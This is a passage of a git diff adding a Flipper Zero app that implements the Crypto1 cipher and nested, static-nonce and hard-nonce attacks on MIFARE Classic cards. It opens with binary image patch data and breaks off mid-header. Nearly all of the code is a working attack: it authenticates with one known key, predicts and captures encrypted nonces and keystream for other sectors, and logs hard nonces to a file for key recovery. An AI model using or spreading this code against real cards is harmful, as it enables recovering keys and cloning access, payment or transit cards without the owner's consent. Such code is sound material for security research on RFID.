zTiteNz1m%IS&-kTUO*hLh=|>6`(r_iNryc~mwsx(;Tr=^)V_UwDya9&K?<&Y%dzv6_Jb4d+LR~!ZNE zNW`rZ7Ub+e48-nAp}2NHnsRfx6sj>_J+I?^8p(^a z6H7uQIVOcBjoq_%@OLoiVBOnpf8Sx}{Zo$T?wC0|!3-4&ew4c3Q7G^5qVRBW3pNNF zi)pnzomX{wJ$!{A{P=Q&S@vago;{)TtxU9{)LR&F7H8Z^cjTK;^Sx>1?(%qf(lT(% zs$3u>#L^Dsf6tTc8Sj}ndZw92F=CQPMg9JsJ6i2I2k`pUBXOL9O0YqO;TCg%%y?5yBfXA<7>V1+AQ++m#Iu& z@fy-$O6z;Fse9bn+FyyizIu3f609e`Hvi3V)q&Q(#uliikvlbn3+ce|Nv8cmQb;;eyXB)R9TO}{CZ#wEbvK$v2Kd~)3Pfn;!kUO3H zFmg`mJJJ#9jnD2Dr5Du(rjz?51|?z-v>#ZoqjYOdu1yL}rcG|0f-mA1l^4m2t@2HK z#N<1VGLD|5GXk0d{b&^v`2*Uo3u_Bsk2`tEdFA+L&g)3uIUd(2mJ*mEZAUJ+RzSHG z+?X^XJ6+!X^ut14`iu15qR-@yUz(6_&fQ#;wp2Uv4bv({VOcwX|1@Kj!qz3_z3mrsE|mH+lOoh{K@UTlTz z(3dpcAt>yuKu@67NYBYF6SR80)Y94{-w9+&o{(FCHmO+d?c5b}xmBP~G?aR0*>b$; znLuQ}xnE?N0!b!Sdik8hfrGGn8sBY8>=M!t2kE_V_%b2YRu6 z{IGt6$@H?YvU_D0m{)$9&ZdYl#PWw&h?FJd?jfejZWm@5x)Ocj zqgJ2i#`k5V?cq{qE8`ww${s%HDq}j&_JgZUUq~rM*+~a!Xu4v{J(#4K_H&KijgOPp zF@rd)!<-MRcP<8dvHkXK)S+-E?WDrQhDJ*9j}y-clK3PK2aZolhl}I+gVIT-*);au z;-3%A%0>sBtWS5GU0{*ByT2YQeK$3Mp2(k|u$P>x9~`UnG3t1Kc}BQMZZ>*E?lk$> zS4K{-&q7RdN%OmAJ{`QyluOeycF$bS;k?D*%=4~|j_XDDORGMsbaz&N2@07PxhOAr z^eZQEvf}9>rju`_>A3|;`*ir1SXp{-d09!qeoQ=$>xS13nwh!9Yx6YG?fovDhPT^Z^Wi45*rTV(sx>kCjTC)tK8Pk@fr;6aM$d`ql?mkGJC1x@NX7N3~WLvkK?w zoco0j5Oqp*3KcCZoH9;%UtOg_s_L5I24=o(g-}=U-eyUE?Ci!GWa-lU zY8YI37x%AHhGB|h*ik(hL3lb5F!G?f6G0YaycZEm#Cx#LG!XRwfKQcVk7MAhED;1M zSp&c6qroK8xM%>-Ghov21YaTp+3>pFg2?`3*2-4D^(!C&>a5x+Sg+X92b*_iHKa0Y^Gu0{nO1~LQi2ejR ziN+vNDWFY8ygN03fdq4t{r4%zw0~$R{(o1BTQdj~PlIS`KsQhI+tJGE|GSdO|9JZ| zu*Co5`#*{O?O8M;1WWX%2G9xI-gzo*hN2-*bRwQXrQ1`fe!mNe@uo7U{@zp?2&Sc> z1yZ%b6G)Uz%YnZjR#pfLia!HSArLK0kYFx}28rZ>(AGYzWd?^Do9aN1Xlk0GjEr@( zOwCY7bYYq>xRw_DH`ato2p|(FjNe#~|6oyn#BK_LOyfp2A<{{KL=Q7Ml??jp)Ckg_ zbAkVn?{BQfpK~$#BNoC<2C~`P|LXN`6IVc+(|^RvUHl_|B897YI#=9}_AkY9FUD4k zrM>B|@Xb4NEn;?-J6Kzo7}+zs^RX^M07#%``usTPM&dJQT7TW0pZvvcreZ!fk89eR zxb$l$y&OrR&%MN0k$&Et1-(znrXGup@9h&S%{ikQa$ LTALIbyM_M?u*zuP literal 0 HcmV?d00001 diff --git a/applications/external/mifare_nested/assets/icon.png b/applications/external/mifare_nested/assets/icon.png new file mode 100644 index 0000000000000000000000000000000000000000..ae72f2ff98a5afd218ea0fd2d87ab7d519a4d441 GIT binary patch literal 145 zcmeAS@N?(olHy`uVBq!ia0vp^AT}2V8<6ZZI=>f4aTa()7Beu23xP0W`us~ERnDF+ zjv*3Ld;2}P7z{X$SRMUeZ)v+#RQ$qZCz-_z*A{G(SD9MNq`iQ(QONH>>*b{{jm7rv ovhB{BD*r)NpJ7kPe7iCmVLuhF#>KZz1C3+wboFyt=akR{01})k(*OVf literal 0 HcmV?d00001 diff --git a/applications/external/mifare_nested/lib/crypto1/crypto1.c b/applications/external/mifare_nested/lib/crypto1/crypto1.c new file mode 100644 index 000000000..0483f45e8 --- /dev/null +++ b/applications/external/mifare_nested/lib/crypto1/crypto1.c @@ -0,0 +1,118 @@ +#include "crypto1.h" +#include + +void crypto1_reset(Crypto1* crypto1) { + furi_assert(crypto1); + crypto1->even = 0; + crypto1->odd = 0; +} + +void crypto1_init(Crypto1* crypto1, uint64_t key) { + furi_assert(crypto1); + crypto1->even = 0; + crypto1->odd = 0; + for(int8_t i = 47; i > 0; i -= 2) { + crypto1->odd = crypto1->odd << 1 | FURI_BIT(key, (i - 1) ^ 7); + crypto1->even = crypto1->even << 1 | FURI_BIT(key, i ^ 7); + } +} + +uint32_t crypto1_filter(uint32_t in) { + uint32_t out = 0; + out = 0xf22c0 >> (in & 0xf) & 16; + out |= 0x6c9c0 >> (in >> 4 & 0xf) & 8; + out |= 0x3c8b0 >> (in >> 8 & 0xf) & 4; + out |= 0x1e458 >> (in >> 12 & 0xf) & 2; + out |= 0x0d938 >> (in >> 16 & 0xf) & 1; + return FURI_BIT(0xEC57E80A, out); +} + +uint8_t crypto1_bit(Crypto1* crypto1, uint8_t in, int is_encrypted) { + furi_assert(crypto1); + uint8_t out = crypto1_filter(crypto1->odd); + uint32_t feed = out & (!!is_encrypted); + feed ^= !!in; + feed ^= LF_POLY_ODD & crypto1->odd; + feed ^= LF_POLY_EVEN & crypto1->even; + crypto1->even = crypto1->even << 1 | (evenparity32(feed)); + + FURI_SWAP(crypto1->odd, crypto1->even); + return out; +} + +uint8_t crypto1_byte(Crypto1* crypto1, uint8_t in, int is_encrypted) { + furi_assert(crypto1); + uint8_t out = 0; + for(uint8_t i = 0; i < 8; i++) { + out |= crypto1_bit(crypto1, FURI_BIT(in, i), is_encrypted) << i; + } + return out; +} + +uint32_t crypto1_word(Crypto1* crypto1, uint32_t in, int is_encrypted) { + furi_assert(crypto1); + uint32_t out = 0; + for(uint8_t i = 0; i < 32; i++) { + out |= (uint32_t)crypto1_bit(crypto1, BEBIT(in, i), is_encrypted) << (24 ^ i); + } + return out; +} + +uint32_t prng_successor(uint32_t x, uint32_t n) { + SWAPENDIAN(x); + while(n--) x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31; + + return SWAPENDIAN(x); +} + +void crypto1_decrypt( + Crypto1* crypto, + uint8_t* encrypted_data, + uint16_t encrypted_data_bits, + uint8_t* decrypted_data) { + furi_assert(crypto); + furi_assert(encrypted_data); + furi_assert(decrypted_data); + + if(encrypted_data_bits < 8) { + uint8_t decrypted_byte = 0; + decrypted_byte |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(encrypted_data[0], 0)) << 0; + decrypted_byte |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(encrypted_data[0], 1)) << 1; + decrypted_byte |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(encrypted_data[0], 2)) << 2; + decrypted_byte |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(encrypted_data[0], 3)) << 3; + decrypted_data[0] = decrypted_byte; + } else { + for(size_t i = 0; i < encrypted_data_bits / 8; i++) { + decrypted_data[i] = crypto1_byte(crypto, 0, 0) ^ encrypted_data[i]; + } + } +} + +void crypto1_encrypt( + Crypto1* crypto, + uint8_t* keystream, + uint8_t* plain_data, + uint16_t plain_data_bits, + uint8_t* encrypted_data, + uint8_t* encrypted_parity) { + furi_assert(crypto); + furi_assert(plain_data); + furi_assert(encrypted_data); + furi_assert(encrypted_parity); + + if(plain_data_bits < 8) { + encrypted_data[0] = 0; + for(size_t i = 0; i < plain_data_bits; i++) { + encrypted_data[0] |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(plain_data[0], i)) << i; + } + } else { + memset(encrypted_parity, 0, plain_data_bits / 8 + 1); + for(uint8_t i = 0; i < plain_data_bits / 8; i++) { + encrypted_data[i] = crypto1_byte(crypto, keystream ? keystream[i] : 0, 0) ^ + plain_data[i]; + encrypted_parity[i / 8] |= + (((crypto1_filter(crypto->odd) ^ oddparity8(plain_data[i])) & 0x01) + << (7 - (i & 0x0007))); + } + } +} \ No newline at end of file diff --git a/applications/external/mifare_nested/lib/crypto1/crypto1.h b/applications/external/mifare_nested/lib/crypto1/crypto1.h new file mode 100644 index 000000000..bad6e631b --- /dev/null +++ b/applications/external/mifare_nested/lib/crypto1/crypto1.h @@ -0,0 +1,39 @@ +#include "../../lib/parity/parity.h" +#include +#include +#include "stddef.h" + +#define LF_POLY_ODD (0x29CE5C) +#define LF_POLY_EVEN (0x870804) + +#define SWAPENDIAN(x) \ + ((x) = ((x) >> 8 & 0xff00ff) | ((x)&0xff00ff) << 8, (x) = (x) >> 16 | (x) << 16) +#define BEBIT(x, n) FURI_BIT(x, (n) ^ 24) + +void crypto1_reset(Crypto1* crypto1); + +void crypto1_init(Crypto1* crypto1, uint64_t key); + +uint32_t crypto1_filter(uint32_t in); + +uint8_t crypto1_bit(Crypto1* crypto1, uint8_t in, int is_encrypted); + +uint8_t crypto1_byte(Crypto1* crypto1, uint8_t in, int is_encrypted); + +uint32_t crypto1_word(Crypto1* crypto1, uint32_t in, int is_encrypted); + +uint32_t prng_successor(uint32_t x, uint32_t n); + +void crypto1_decrypt( + Crypto1* crypto, + uint8_t* encrypted_data, + uint16_t encrypted_data_bits, + uint8_t* decrypted_data); + +void crypto1_encrypt( + Crypto1* crypto, + uint8_t* keystream, + uint8_t* plain_data, + uint16_t plain_data_bits, + uint8_t* encrypted_data, + uint8_t* encrypted_parity); \ No newline at end of file diff --git a/applications/external/mifare_nested/lib/nested/nested.c b/applications/external/mifare_nested/lib/nested/nested.c new file mode 100644 index 000000000..4d04b99d5 --- /dev/null +++ b/applications/external/mifare_nested/lib/nested/nested.c @@ -0,0 +1,740 @@ +#include "nested.h" + +#include +#include "../../lib/parity/parity.h" +#include "../../lib/crypto1/crypto1.h" +#define TAG "Nested" + +void nfc_util_num2bytes(uint64_t src, uint8_t len, uint8_t* dest) { + furi_assert(dest); + furi_assert(len <= 8); + + while(len--) { + dest[len] = (uint8_t)src; + src >>= 8; + } +} + +uint64_t nfc_util_bytes2num(const uint8_t* src, uint8_t len) { + furi_assert(src); + furi_assert(len <= 8); + + uint64_t res = 0; + while(len--) { + res = (res << 8) | (*src); + src++; + } + return res; +} + +uint16_t nfca_get_crc16(uint8_t* buff, uint16_t len) { + uint16_t crc = 0x6363; // NFCA_CRC_INIT + uint8_t byte = 0; + + for(uint8_t i = 0; i < len; i++) { + byte = buff[i]; + byte ^= (uint8_t)(crc & 0xff); + byte ^= byte << 4; + crc = (crc >> 8) ^ (((uint16_t)byte) << 8) ^ (((uint16_t)byte) << 3) ^ + (((uint16_t)byte) >> 4); + } + + return crc; +} + +void nfca_append_crc16(uint8_t* buff, uint16_t len) { + uint16_t crc = nfca_get_crc16(buff, len); + buff[len] = (uint8_t)crc; + buff[len + 1] = (uint8_t)(crc >> 8); +} + +bool mifare_sendcmd_short( + Crypto1* crypto, + FuriHalNfcTxRxContext* tx_rx, + bool crypted, + uint32_t cmd, + uint32_t data) { + uint16_t pos; + uint8_t dcmd[4] = {cmd, data, 0x00, 0x00}; + nfca_append_crc16(dcmd, 2); + + memset(tx_rx->tx_data, 0, sizeof(tx_rx->tx_data)); + memset(tx_rx->tx_parity, 0, sizeof(tx_rx->tx_parity)); + + if(crypted) { + for(pos = 0; pos < 4; pos++) { + uint8_t res = crypto1_byte(crypto, 0x00, 0) ^ dcmd[pos]; + tx_rx->tx_data[pos] = res; + tx_rx->tx_parity[0] |= + (((crypto1_filter(crypto->odd) ^ oddparity8(dcmd[pos])) & 0x01) << (7 - pos)); + } + + tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRaw; + tx_rx->tx_bits = 4 * 8; + } else { + for(pos = 0; pos < 2; pos++) { + tx_rx->tx_data[pos] = dcmd[pos]; + } + + tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRxNoCrc; + tx_rx->tx_bits = 2 * 8; + } + + if(!furi_hal_nfc_tx_rx(tx_rx, 6)) return false; + + return true; +} + +bool mifare_classic_authex( + Crypto1* crypto, + FuriHalNfcTxRxContext* tx_rx, + uint32_t uid, + uint32_t blockNo, + uint32_t keyType, + uint64_t ui64Key, + bool isNested, + uint32_t* ntptr) { + uint32_t nt, ntpp; // Supplied tag nonce + uint8_t nr[4]; + + // "random" reader nonce: + nfc_util_num2bytes(prng_successor(0, 32), 4, nr); // DWT->CYCCNT + + // Transmit MIFARE_CLASSIC_AUTH + if(!mifare_sendcmd_short(crypto, tx_rx, isNested, 0x60 + (keyType & 0x01), blockNo)) { + return false; + }; + + memset(tx_rx->tx_data, 0, sizeof(tx_rx->tx_data)); + memset(tx_rx->tx_parity, 0, sizeof(tx_rx->tx_parity)); + + nt = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4); + + if(isNested) crypto1_reset(crypto); // deinit + + crypto1_init(crypto, ui64Key); + + if(isNested) { + nt = crypto1_word(crypto, nt ^ uid, 1) ^ nt; + } else { + crypto1_word(crypto, nt ^ uid, 0); + } + + // save Nt + if(ntptr) *ntptr = nt; + + // Generate (encrypted) nr+parity by loading it into the cipher (Nr) + tx_rx->tx_parity[0] = 0; + for(uint8_t i = 0; i < 4; i++) { + tx_rx->tx_data[i] = crypto1_byte(crypto, nr[i], 0) ^ nr[i]; + tx_rx->tx_parity[0] |= + (((crypto1_filter(crypto->odd) ^ oddparity8(nr[i])) & 0x01) << (7 - i)); + } + + nt = prng_successor(nt, 32); + + for(uint8_t i = 4; i < 8; i++) { + nt = prng_successor(nt, 8); + tx_rx->tx_data[i] = crypto1_byte(crypto, 0x00, 0) ^ (nt & 0xff); + tx_rx->tx_parity[0] |= + (((crypto1_filter(crypto->odd) ^ oddparity8(nt & 0xff)) & 0x01) << (7 - i)); + } + + tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRaw; + tx_rx->tx_bits = 8 * 8; + + if(!furi_hal_nfc_tx_rx(tx_rx, 25)) { + return false; + }; + + uint32_t answer = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4); + + ntpp = prng_successor(nt, 32) ^ crypto1_word(crypto, 0, 0); + + if(answer != ntpp) { + return false; + } + + return true; +} + +static int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, const uint8_t* parity) { + return ((oddparity8((Nt >> 24) & 0xFF) == + ((parity[0]) ^ oddparity8((NtEnc >> 24) & 0xFF) ^ FURI_BIT(Ks1, 16))) && + (oddparity8((Nt >> 16) & 0xFF) == + ((parity[1]) ^ oddparity8((NtEnc >> 16) & 0xFF) ^ FURI_BIT(Ks1, 8))) && + (oddparity8((Nt >> 8) & 0xFF) == + ((parity[2]) ^ oddparity8((NtEnc >> 8) & 0xFF) ^ FURI_BIT(Ks1, 0)))) ? + 1 : + 0; +} + +void nonce_distance(uint32_t* msb, uint32_t* lsb) { + uint16_t x = 1, pos; + uint8_t calc_ok = 0; + + for(uint16_t i = 1; i; ++i) { + pos = (x & 0xff) << 8 | x >> 8; + + if((pos == *msb) & !(calc_ok >> 0 & 0x01)) { + *msb = i; + calc_ok |= 0x01; + } + + if((pos == *lsb) & !(calc_ok >> 1 & 0x01)) { + *lsb = i; + calc_ok |= 0x02; + } + + if(calc_ok == 0x03) { + return; + } + + x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15; + } +} + +bool validate_prng_nonce(uint32_t nonce) { + uint32_t msb = nonce >> 16; + uint32_t lsb = nonce & 0xffff; + nonce_distance(&msb, &lsb); + return ((65535 - msb + lsb) % 65535) == 16; +} + +MifareNestedNonceType nested_check_nonce_type(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo) { + uint32_t nonces[5] = {}; + uint8_t sameNonces = 0; + uint8_t hardNonces = 0; + Crypto1 crypt; + Crypto1* crypto = {&crypt}; + + for(int32_t i = 0; i < 5; i++) { + // Setup nfc poller + nfc_activate(); + furi_hal_nfc_activate_nfca(100, NULL); + + // Start communication + bool success = mifare_sendcmd_short(crypto, tx_rx, false, 0x60, blockNo); + if(!success) { + continue; + }; + + uint32_t nt = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4); + if(nt == 0) continue; + if(!validate_prng_nonce(nt)) hardNonces++; + nonces[i] = nt; + + nfc_deactivate(); + } + + for(int32_t i = 0; i < 5; i++) { + for(int32_t j = 0; j < 5; j++) { + if(i != j && nonces[j] && nonces[i] == nonces[j]) { + sameNonces++; + } + } + } + + if(!nonces[4]) { + return MifareNestedNonceNoTag; + } + + if(sameNonces > 3) { + return MifareNestedNonceStatic; + } + + if(hardNonces > 3) { + return MifareNestedNonceHard; + } + + return MifareNestedNonceWeak; +} + +struct nonce_info_static nested_static_nonce_attack( + FuriHalNfcTxRxContext* tx_rx, + uint8_t blockNo, + uint8_t keyType, + uint8_t targetBlockNo, + uint8_t targetKeyType, + uint64_t ui64Key) { + uint32_t cuid = 0; + Crypto1* crypto = malloc(sizeof(Crypto1)); + struct nonce_info_static r; + + r.full = false; + + // Setup nfc poller + nfc_activate(); + if(!furi_hal_nfc_activate_nfca(200, &cuid)) { + free(crypto); + return r; + } + + r.cuid = cuid; + + uint32_t nt1; + uint32_t nt_unused; + + crypto1_reset(crypto); + + mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1); + + if(targetKeyType == 1 && nt1 == 0x009080A2) { + r.target_nt[0] = prng_successor(nt1, 161); + r.target_nt[1] = prng_successor(nt1, 321); + } else { + r.target_nt[0] = prng_successor(nt1, 160); + r.target_nt[1] = prng_successor(nt1, 320); + } + + bool success = + mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo); + + if(!success) { + free(crypto); + return r; + }; + + uint32_t nt2 = nfc_util_bytes2num(tx_rx->rx_data, 4); + r.target_ks[0] = nt2 ^ r.target_nt[0]; + + nfc_activate(); + + if(!furi_hal_nfc_activate_nfca(200, &cuid)) { + free(crypto); + return r; + } + + crypto1_reset(crypto); + + mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1); + + mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt_unused); + + success = + mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo); + + free(crypto); + + if(!success) { + return r; + }; + + uint32_t nt3 = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4); + + r.target_ks[1] = nt3 ^ r.target_nt[1]; + r.full = true; + + nfc_deactivate(); + + return r; +} + +uint32_t nested_calibrate_distance( + FuriHalNfcTxRxContext* tx_rx, + uint8_t blockNo, + uint8_t keyType, + uint64_t ui64Key, + uint32_t delay, + bool full) { + uint32_t cuid = 0; + Crypto1* crypto = malloc(sizeof(Crypto1)); + uint32_t nt1, nt2, i = 0, davg = 0, dmin = 0, dmax = 0, rtr = 0, unsuccessful_tries = 0; + uint32_t max_prng_value = full ? 65565 : 1200; + uint32_t rounds = full ? 5 : 17; // full does not require precision + uint32_t collected = 0; + + for(rtr = 0; rtr < rounds; rtr++) { + nfc_activate(); + if(!furi_hal_nfc_activate_nfca(200, &cuid)) break; + + if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1)) { + continue; + } + + furi_delay_us(delay); + + if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2)) { + continue; + } + + // NXP Mifare is typical around 840, but for some unlicensed/compatible mifare tag this can be 160 + uint32_t nttmp = prng_successor(nt1, 100); + + for(i = 101; i < max_prng_value; i++) { + nttmp = prng_successor(nttmp, 1); + if(nttmp == nt2) break; + } + + if(i != max_prng_value) { + if(rtr != 0) { + davg += i; + dmin = MIN(dmin, i); + dmax = MAX(dmax, i); + } else { + dmin = dmax = i; + } + + FURI_LOG_D(TAG, "Calibrating: ntdist=%lu", i); + collected++; + } else { + unsuccessful_tries++; + if(unsuccessful_tries > 12) { + free(crypto); + FURI_LOG_E( + TAG, + "Tag isn't vulnerable to nested attack (random numbers are not predictable)"); + return 0; + } + } + } + + if(collected > 1) davg = (davg + (collected - 1) / 2) / (collected - 1); + + davg = MIN(MAX(dmin, davg), dmax); + + FURI_LOG_I( + TAG, + "Calibration completed: rtr=%lu min=%lu max=%lu avg=%lu collected=%lu", + rtr, + dmin, + dmax, + davg, + collected); + + free(crypto); + + nfc_deactivate(); + + return davg; +} + +struct distance_info nested_calibrate_distance_info( + FuriHalNfcTxRxContext* tx_rx, + uint8_t blockNo, + uint8_t keyType, + uint64_t ui64Key) { + uint32_t cuid = 0; + Crypto1* crypto = malloc(sizeof(Crypto1)); + uint32_t nt1, nt2, i = 0, davg = 0, dmin = 0, dmax = 0, rtr = 0, unsuccessful_tries = 0; + struct distance_info r; + r.min_prng = 0; + r.max_prng = 0; + r.mid_prng = 0; + + for(rtr = 0; rtr < 10; rtr++) { + nfc_activate(); + if(!furi_hal_nfc_activate_nfca(200, &cuid)) break; + + mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1); + + mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2); + + // NXP Mifare is typical around 840, but for some unlicensed/compatible mifare tag this can be 160 + uint32_t nttmp = prng_successor(nt1, 1); + + for(i = 2; i < 65565; i++) { + nttmp = prng_successor(nttmp, 1); + if(nttmp == nt2) break; + } + + if(i != 65565) { + if(rtr != 0) { + davg += i; + if(dmin == 0) { + dmin = i; + } else { + dmin = MIN(dmin, i); + } + dmax = MAX(dmax, i); + } + + FURI_LOG_D(TAG, "Calibrating: ntdist=%lu", i); + } else { + unsuccessful_tries++; + if(unsuccessful_tries > 12) { + free(crypto); + + FURI_LOG_E( + TAG, + "Tag isn't vulnerable to nested attack (random numbers are not predictable)"); + + return r; + } + } + } + + if(rtr > 1) davg = (davg + (rtr - 1) / 2) / (rtr - 1); + + FURI_LOG_I( + TAG, "Calibration completed: rtr=%lu min=%lu max=%lu avg=%lu", rtr, dmin, dmax, davg); + + r.min_prng = dmin; + r.max_prng = dmax; + r.mid_prng = davg; + + free(crypto); + + nfc_deactivate(); + + return r; +} + +struct nonce_info nested_attack( + FuriHalNfcTxRxContext* tx_rx, + uint8_t blockNo, + uint8_t keyType, + uint8_t targetBlockNo, + uint8_t targetKeyType, + uint64_t ui64Key, + uint32_t distance, + uint32_t delay) { + uint32_t cuid = 0; + Crypto1* crypto = malloc(sizeof(Crypto1)); + uint8_t par_array[4] = {0x00}; + uint32_t nt1, nt2, ks1, i = 0, j = 0; + struct nonce_info r; + uint32_t dmin = distance - 2; + uint32_t dmax = distance + 2; + + r.full = false; + + for(i = 0; i < 2; i++) { // look for exactly two different nonces + r.target_nt[i] = 0; + + while(r.target_nt[i] == 0) { // continue until we have an unambiguous nonce + nfc_activate(); + if(!furi_hal_nfc_activate_nfca(200, &cuid)) { + free(crypto); + return r; + } + + r.cuid = cuid; + + mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1); + + furi_delay_us(delay); + + bool success = mifare_sendcmd_short( + crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo); + + if(!success) continue; + + nt2 = nfc_util_bytes2num(tx_rx->rx_data, 4); + + // Parity validity check + for(j = 0; j < 4; j++) { + par_array[j] = + (oddparity8(tx_rx->rx_data[j]) != ((tx_rx->rx_parity[0] >> (7 - j)) & 0x01)); + } + + uint32_t ncount = 0; + uint32_t nttest = prng_successor(nt1, dmin - 1); + + for(j = dmin; j < dmax + 1; j++) { + nttest = prng_successor(nttest, 1); + ks1 = nt2 ^ nttest; + + if(valid_nonce(nttest, nt2, ks1, par_array)) { + if(ncount > 0) { // we are only interested in disambiguous nonces, try again + FURI_LOG_D(TAG, "Nonce#%lu: dismissed (ambiguous), ntdist=%lu", i + 1, j); + r.target_nt[i] = 0; + break; + } + + if(delay) { + // will predict later + r.target_nt[i] = nt1; + r.target_ks[i] = nt2; + } else { + r.target_nt[i] = nttest; + r.target_ks[i] = ks1; + } + + memcpy(&r.parity[i], par_array, 4); + ncount++; + + if(i == 1 && + (r.target_nt[0] == r.target_nt[1] || + r.target_ks[0] == r.target_ks[1])) { // we need two different nonces + r.target_nt[i] = 0; + FURI_LOG_D(TAG, "Nonce#2: dismissed (= nonce#1), ntdist=%lu", j); + break; + } + + FURI_LOG_D(TAG, "Nonce#%lu: valid, ntdist=%lu", i + 1, j); + } + } + + if(r.target_nt[i] == 0 && j == dmax + 1) { + FURI_LOG_D(TAG, "Nonce#%lu: dismissed (all invalid)", i + 1); + } + } + } + + if(r.target_nt[0] && r.target_nt[1]) { + r.full = true; + } + + free(crypto); + + nfc_deactivate(); + + return r; +} + +struct nonce_info_hard nested_hard_nonce_attack( + FuriHalNfcTxRxContext* tx_rx, + uint8_t blockNo, + uint8_t keyType, + uint8_t targetBlockNo, + uint8_t targetKeyType, + uint64_t ui64Key, + uint32_t* found, + uint32_t* first_byte_sum, + Stream* file_stream) { + uint32_t cuid = 0; + uint8_t same = 0; + uint64_t previous = 0; + Crypto1* crypto = malloc(sizeof(Crypto1)); + uint8_t par_array[4] = {0x00}; + struct nonce_info_hard r; + r.full = false; + r.static_encrypted = false; + + for(uint32_t i = 0; i < 8; i++) { + nfc_activate(); + if(!furi_hal_nfc_activate_nfca(200, &cuid)) { + free(crypto); + return r; + } + + r.cuid = cuid; + + if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, NULL)) + continue; + + if(!mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo)) + continue; + + uint64_t nt = nfc_util_bytes2num(tx_rx->rx_data, 4); + + for(uint32_t j = 0; j < 4; j++) { + par_array[j] = + (oddparity8(tx_rx->rx_data[j]) != ((tx_rx->rx_parity[0] >> (7 - j)) & 0x01)); + } + + uint8_t pbits = 0; + for(uint8_t j = 0; j < 4; j++) { + uint8_t p = oddparity8(tx_rx->rx_data[j]); + if(par_array[j]) { + p ^= 1; + } + pbits <<= 1; + pbits |= p; + } + + // update unique nonces + if(!found[tx_rx->rx_data[0]]) { + *first_byte_sum += evenparity32(pbits & 0x08); + found[tx_rx->rx_data[0]]++; + } + + if(nt == previous) { + same++; + } + + previous = nt; + + FuriString* row = furi_string_alloc_printf("%llu|%u\n", nt, pbits); + stream_write_string(file_stream, row); + + FURI_LOG_D(TAG, "Accured %lu/8 nonces", i + 1); + furi_string_free(row); + } + + if(same > 4) { + r.static_encrypted = true; + } + + r.full = true; + + free(crypto); + + nfc_deactivate(); + + return r; +} + +NestedCheckKeyResult nested_check_key( + FuriHalNfcTxRxContext* tx_rx, + uint8_t blockNo, + uint8_t keyType, + uint64_t ui64Key) { + uint32_t cuid = 0; + uint32_t nt; + + nfc_activate(); + if(!furi_hal_nfc_activate_nfca(200, &cuid)) return NestedCheckKeyNoTag; + + FURI_LOG_D( + TAG, "Checking %c key %012llX for block %u", !keyType ? 'A' : 'B', ui64Key, blockNo); + + Crypto1* crypto = malloc(sizeof(Crypto1)); + + bool success = + mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt); + + free(crypto); + + nfc_deactivate(); + + return success ? NestedCheckKeyValid : NestedCheckKeyInvalid; +} + +bool nested_check_block(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo, uint8_t keyType) { + uint32_t cuid = 0; + + nfc_activate(); + if(!furi_hal_nfc_activate_nfca(200, &cuid)) return false; + + Crypto1* crypto = malloc(sizeof(Crypto1)); + + bool success = mifare_sendcmd_short(crypto, tx_rx, false, 0x60 + (keyType & 0x01), blockNo); + + free(crypto); + + nfc_deactivate(); + + return success; +} + +void nested_get_data(FuriHalNfcDevData* dev_data) { + nfc_activate(); + furi_hal_nfc_detect(dev_data, 400); + nfc_deactivate(); +} + +void nfc_activate() { + nfc_deactivate(); + + // Setup nfc poller + furi_hal_nfc_exit_sleep(); + furi_hal_nfc_ll_txrx_on(); + furi_hal_nfc_ll_poll(); + if(furi_hal_nfc_ll_set_mode( + FuriHalNfcModePollNfca, FuriHalNfcBitrate106, FuriHalNfcBitrate106) != + FuriHalNfcReturnOk) + return; + + furi_hal_nfc_ll_set_fdt_listen(FURI_HAL_NFC_LL_FDT_LISTEN_NFCA_POLLER); + furi_hal_nfc_ll_set_fdt_poll(FURI_HAL_NFC_LL_FDT_POLL_NFCA_POLLER); + furi_hal_nfc_ll_set_error_handling(FuriHalNfcErrorHandlingNfc); + furi_hal_nfc_ll_set_guard_time(FURI_HAL_NFC_LL_GT_NFCA); +} + +void nfc_deactivate() { + furi_hal_nfc_ll_txrx_off(); + furi_hal_nfc_start_sleep(); + furi_hal_nfc_sleep(); +} diff --git a/applications/external/mifare_nested/lib/nested/nested.h b/applications/external/mifare_nested/lib/nested/nested.h new file mode 100644 index 000000000..a2b902446 --- /dev/null +++ b/applications/external/mifare_nested/lib/nested/nested.h @@ -0,0 +1,118 @@ +#pragma once + +#include +#include +#include + +#include +#include +#include + +typedef enum { + MifareNestedNonceNoTag, + MifareNestedNonceWeak, + MifareNestedNonceStatic, + MifareNestedNonceHard, +} MifareNestedNonceType; + +MifareNestedNonceType 